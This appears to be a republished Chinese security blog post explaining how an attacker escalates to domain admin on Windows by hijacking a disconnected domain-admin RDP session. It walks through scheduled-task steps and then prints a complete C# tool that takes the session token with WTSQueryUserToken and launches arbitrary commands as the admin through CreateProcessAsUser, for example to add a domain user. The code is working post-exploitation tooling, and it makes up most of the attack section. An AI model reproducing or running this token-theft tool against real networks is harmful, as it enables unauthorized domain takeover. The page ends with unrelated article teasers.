利用断开的域管理员RDP会话提权

前言

当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢?

通过计划任务完成域内提权

首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面:
在这里插入图片描述
然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令:
选择搜索用户位置为域内:
在这里插入图片描述
选择登录进来的域管用户:
在这里插入图片描述
设置启动的命令:
在这里插入图片描述
然后运行计划任务,可以看到成功添加了域内用户:
在这里插入图片描述
有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录:
在这里插入图片描述
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

原理分析

原理实际上也很简单,就是获取进程的token,然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。
下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成进程的创建:

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;class Program
{[DllImport("wtsapi32.dll", SetLastError = true)]static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);[DllImport("kernel32.dll", SetLastError = true)]static extern bool CloseHandle(IntPtr hObject);[DllImport("userenv.dll", SetLastError = true)]static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);[DllImport("userenv.dll", SetLastError = true)]static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);[DllImport("advapi32.dll", SetLastError = true)]static extern bool CreateProcessAsUser(IntPtr hToken,string lpApplicationName,string lpCommandLine,IntPtr lpProcessAttributes,IntPtr lpThreadAttributes,bool bInheritHandles,uint dwCreationFlags,IntPtr lpEnvironment,string lpCurrentDirectory,ref STARTUPINFO lpStartupInfo,out PROCESS_INFORMATION lpProcessInformation);[StructLayout(LayoutKind.Sequential)]struct STARTUPINFO{public int cb;public string lpReserved;public string lpDesktop;public string lpTitle;public uint dwX;public uint dwY;public uint dwXSize;public uint dwYSize;public uint dwXCountChars;public uint dwYCountChars;public uint dwFillAttribute;public uint dwFlags;public short wShowWindow;public short cbReserved2;public IntPtr lpReserved2;public IntPtr hStdInput;public IntPtr hStdOutput;public IntPtr hStdError;}[StructLayout(LayoutKind.Sequential)]struct PROCESS_INFORMATION{public IntPtr hProcess;public IntPtr hThread;public uint dwProcessId;public uint dwThreadId;}static void Main(string[] args){if (args.Length < 2){Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");return;}int sessionId;if (!int.TryParse(args[0], out sessionId)){Console.WriteLine("Invalid session ID");return;}string command = args[1];IntPtr userToken = IntPtr.Zero;IntPtr envBlock = IntPtr.Zero;try{// Get user token for the specified sessionbool tokenResult = WTSQueryUserToken(sessionId, out userToken);if (!tokenResult){int error = Marshal.GetLastWin32Error();throw new Win32Exception(error);}// Create environment blockbool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);if (!envResult){int error = Marshal.GetLastWin32Error();throw new Win32Exception(error);}// Prepare startup infoSTARTUPINFO startupInfo = new STARTUPINFO();startupInfo.cb = Marshal.SizeOf(startupInfo);startupInfo.lpDesktop = "winsta0\\default";PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();// Create process as userbool processResult = CreateProcessAsUser(userToken,null,command,IntPtr.Zero,IntPtr.Zero,false,0x00000400, // CREATE_UNICODE_ENVIRONMENTenvBlock,null,ref startupInfo,out processInfo);if (!processResult){int error = Marshal.GetLastWin32Error();throw new Win32Exception(error);}Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);// Clean up process handlesCloseHandle(processInfo.hProcess);CloseHandle(processInfo.hThread);}catch (Exception ex){Console.WriteLine("Error: {0}", ex.Message);}finally{// Clean up resourcesif (envBlock != IntPtr.Zero){DestroyEnvironmentBlock(envBlock);}if (userToken != IntPtr.Zero){CloseHandle(userToken);}}}
}

编译后进行尝试:
在这里插入图片描述
在这里插入图片描述

成功完成了token窃取并添加了域内用户。

总结

本文通过演示窃取RDP Session Token完成域内提权的目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/62110.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Unity 动画】设置跟运动(Apply Root)模型跟着动画产生位移

一、导入的动画本身必须有跟随动画产生位移或者旋转的效果 二、导入Unity后 在Unity中&#xff0c;根运动&#xff08;Root Motion&#xff09;是指动画中角色根节点的移动和旋转。根节点通常是角色的根骨骼&#xff08;Root Bone&#xff09;&#xff0c;它决定了角色的整体…

轻松上手使用Vuex

Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式和库。它主要用于管理应用程序中的全局状态&#xff0c;提供一个集中式存储库&#xff0c;并且以可预测的方式来更新这些状态。以下是 Vuex 的基本用法和一些关键概念&#xff1a; 1.安装 Vuex 首先&#xff0c;需要在 Vue…

【设计模式】装饰器模式 在java中的应用

文章目录 1. 引言装饰器模式的定义与设计目的装饰器模式与其他设计模式的比较 2. 装饰器模式的结构组件接口&#xff08;Component&#xff09;具体组件&#xff08;ConcreteComponent&#xff09;装饰角色&#xff08;Decorator&#xff09;具体装饰类&#xff08;ConcreteDec…

vue npm install出现问题

报错如下&#xff1a; ERR! code ERESOLVE npm ERR! ERESOLVE could not resolve npm ERR! npm ERR! While resolving: web-ifc-viewer1.0.218 npm ERR! Found: three0.149.0 npm ERR! node_modules/three npm ERR! peer three">0.126.1" from camera-controls…

爬虫项目练手

python抓取优美图库小姐姐图片 整体功能概述 这段 Python 代码定义了一个名为 ImageDownloader 的类&#xff0c;其主要目的是从指定网站&#xff08;https://www.umei.cc&#xff09;上按照不同的图片分类&#xff0c;爬取图片并保存到本地相应的文件夹中。不过需要注意&…

对比json数据是否变化

在 JavaScript 中&#xff0c;你可以使用多种方法来对比两个 JSON 数据是否发生变化。以下是几种常见的方式&#xff1a; 1. 使用 JSON.stringify 最简单的方法是将两个 JSON 对象序列化为字符串&#xff0c;并比较这些字符串。但需要注意的是&#xff0c;这种方法对于对象属…

C++设计模式:代理模式(Proxy)(附案例代码)

什么是代理模式&#xff1f; 代理模式是一种结构型设计模式&#xff0c;主要用于为某个对象提供一个代理&#xff0c;以便在不直接访问对象的情况下控制对其的访问。代理可以在客户端和目标对象之间起到一个中介的作用&#xff0c;添加一些额外的操作&#xff0c;例如权限控制…

【笔记】软技能

硬技能&#xff1a;操控世界的能力&#xff0c;处理对象为【物】。软技能&#xff1a;影响他人的能力&#xff0c;处理对象为【人】。软技能包括一个人的情商、个性、社交礼仪、沟通、语言、个人习惯&#xff0c;还有解决问题的能力、领导能力、时间管理能力等一切非技术能力。…

uni-app简洁的移动端登录注册界面

非常简洁的登录、注册界面模板&#xff0c;使用uni-app编写&#xff0c;直接复制粘贴即可&#xff0c;无任何引用&#xff0c;全部公开。 废话不多说&#xff0c;代码如下&#xff1a; login.vue文件 <template><view class"content"><view class&quo…

单台服务器上创建多个端口MySQL服务

单台服务器上创建多个端口MySQL服务 直接拷贝已经运行的数据库文件: # ll /data/mysql/ 总用量 204 drwxr-x--- 2 mysql mysql 4096 9月 15 2023 bin -rw-r--r-- 1 mysql mysql

【开源免费】基于SpringBoot+Vue.JS购物推荐网站(JAVA毕业设计)

博主说明&#xff1a;本文项目编号 T 073 &#xff0c;文末自助获取源码 \color{red}{T073&#xff0c;文末自助获取源码} T073&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析…

AI在SEO中的应用与关键词优化探讨

内容概要 在当今数字化时代&#xff0c;人工智能&#xff08;AI&#xff09;技术为搜索引擎优化&#xff08;SEO&#xff09;带来了革命性的改变。传统的SEO主要依赖于人为的经验和判断&#xff0c;而AI则通过算法分析海量数据&#xff0c;提供更加精准和高效的方式优化关键词…

Tomcat新手成长之路:安装部署优化全解析(下)

接上篇《Tomcat新手成长之路&#xff1a;安装部署优化全解析&#xff08;上&#xff09;》: link 文章目录 7.应用部署7.1.上下文7.2.启动时进行部署7.3.动态应用部署 8.Tomcat 类加载机制8.1.简介8.2.类加载器定义8.3.XML解析器和 Java 9.JMS监控9.1.简介9.2.启用 JMX 远程监…

服务器数据恢复—服务器raid0阵列硬盘指示灯显示黄颜色的数据恢复案例

服务器数据恢复环境&故障情况&#xff1a; 某品牌服务器上有一组由两块SAS硬盘组建的raid0阵列&#xff0c;上层是windows server操作系统ntfs文件系统。服务器上一个硬盘指示灯显示黄颜色&#xff0c;该指示灯对应的硬盘离线&#xff0c;raid不可用。 服务器数据恢复过程…

Ant-Design-Vue 全屏下拉日期框无法显示,能显示后小屏又位置错乱

问题1&#xff1a;在全屏后 日期选择器的下拉框无法显示。 解决&#xff1a;在Ant-Design-Vue的文档中&#xff0c;很多含下拉框的组件都有一个属性 getPopupContainer可以用来指定弹出层的挂载节点。 在该组件上加上 getPopupContainer 属性,给挂载到最外层盒子上。 <temp…

php 系统函数 记录

PHP intval() 函数 PHP函数介绍—array_key_exists(): 检查数组中是否存在特定键名 如何使用PHP中的parse_url函数解析URL PHP is_array()函数详解&#xff0c;PHP判断是否为数组 PHP函数介绍&#xff1a;in_array()函数 strpos定义和用法 strpos() 函数查找字符串在另一字符串…

Hive学习基本概念

基本概念 hive是什么&#xff1f; Facebook 开源&#xff0c;用于解决海量结构化日志的数据统计。 基于Hadoop的一个数据仓库工具&#xff0c;可以将结构化的数据文件映射为一张表&#xff0c;并提供类SQL查询功能 本质是将HQL转化为MapReduce程序。 Hive处理的数据存储在H…

chrome使用问题记录

1. http自动跳转https问题 step1. 地址栏输入&#xff1a; chrome://net-internals/#hsts step2. 找到底部Delete domain security policies一栏&#xff0c;输入想处理的域名&#xff0c;点击delete。 注意&#xff1a;输入域名时去掉前缀http step3. 搞定了&#xff0c;再…

内网穿透 natapp安装与使用

前言 NATAPP是一款基于ngrok的内网穿透工具。以下是对NATAPP的详细概述&#xff1a; 基本概念 定义&#xff1a;内网穿透&#xff08;NAT穿透&#xff09;是一种技术&#xff0c;它允许具有特定源IP地址和端口号的数据包能够绕过NAT设备&#xff0c;从而被正确地路由到内网主机…

计算机光电成像理论基础

一、透过散射介质成像 1.1 光在散射介质中传输 光子携带物体信息并进行成像的过程是一个涉及光与物质相互作用的物理现象。这个过程可以分为几个步骤来理解&#xff1a; 1. **光的发射或反射**&#xff1a; - 自然界中的物体可以发射光&#xff08;如太阳&#xff09;&am…